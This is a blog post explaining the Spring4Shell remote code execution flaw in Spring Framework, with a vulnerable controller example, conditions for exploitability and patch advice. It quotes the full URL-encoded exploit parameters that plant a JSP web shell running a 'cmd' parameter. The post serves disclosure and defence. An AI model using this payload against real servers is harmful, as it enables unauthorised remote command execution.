The Spring4Shell (CVE-2022-22965) critical severity vulnerability in Spring Framework allows remote code execution (RCE). At time of writing, it can be exploited only in very specific scenarios. However, Spring have made a patch available (Spring Framework version 5.3.18 and 5.2.20) and I strongly advise you to take them, even if you’re not running the exploitable setup.
How it works
LunaSec has published an excellent analysis of the vulnerability. It works by exploiting a @ModelAttribute
annotated parameter of an MVC Controller:
@Controller
public class HelloController {
@PostMapping("/greeting")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
return "hello";
}
}
Query parameters passed to /greeting
are used to create the instance of the Greeting
POJO using bean introspection. Unfortunately, Spring’s introspection mechanism can access not only the values exposed by the POJO getters and setters but values of the superclass (Object
) including (get)Class
. If we can access the Class
object, we can traverse to the ClassLoader
and cause some damage.
Exploiting Spring4Shell
LunaSec has published a proof of concept based on work by reznok. It’s a very simple Spring Boot application built with Maven and deployed into a vulnerable Tomcat 9 using Docker. They’ve even packaged the attack as a nice Python script.
The attack script just sends a GET request to the vulnerable application with some wacky looking parameters:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
This creates a new JSP on the server that executes the value of its cmd parameter. The result is very nasty:
Am I vulnerable?
The reznok proof of concept specifically requires the following to be exploitable:
- Unpatched Spring Framework (version 5.3.17 / 5.2.19 or anything older)
- spring-mvc or spring-webflux
- JDK 9 or higher
- The application is deployed as a war in a standalone (unpatched) Tomcat.
However, new exploit methods may be discovered for this vulnerability so you should upgrade Spring Framework to a patched version (5.3.18 or 5.2.20) as soon as possible. There is also a patch in the latest Tomcat releases (10.0.20, 9.0.62 or 8.5.78) which you should also take if that’s how you deploy your apps.
Currently, no exploit has been discovered when deploying a Spring Boot executable JAR. Again though, it’s possible an exploit may be discovered later and it’s always good practice to keep on top of all security patches.
[…] in the Apache Commons Text library. Like previous brand-name vulnerabilities Log4Shell and Spring4Shell, it’s a Remote Code Execution (RCE) vulnerability that allows a bad actor to run arbitrary […]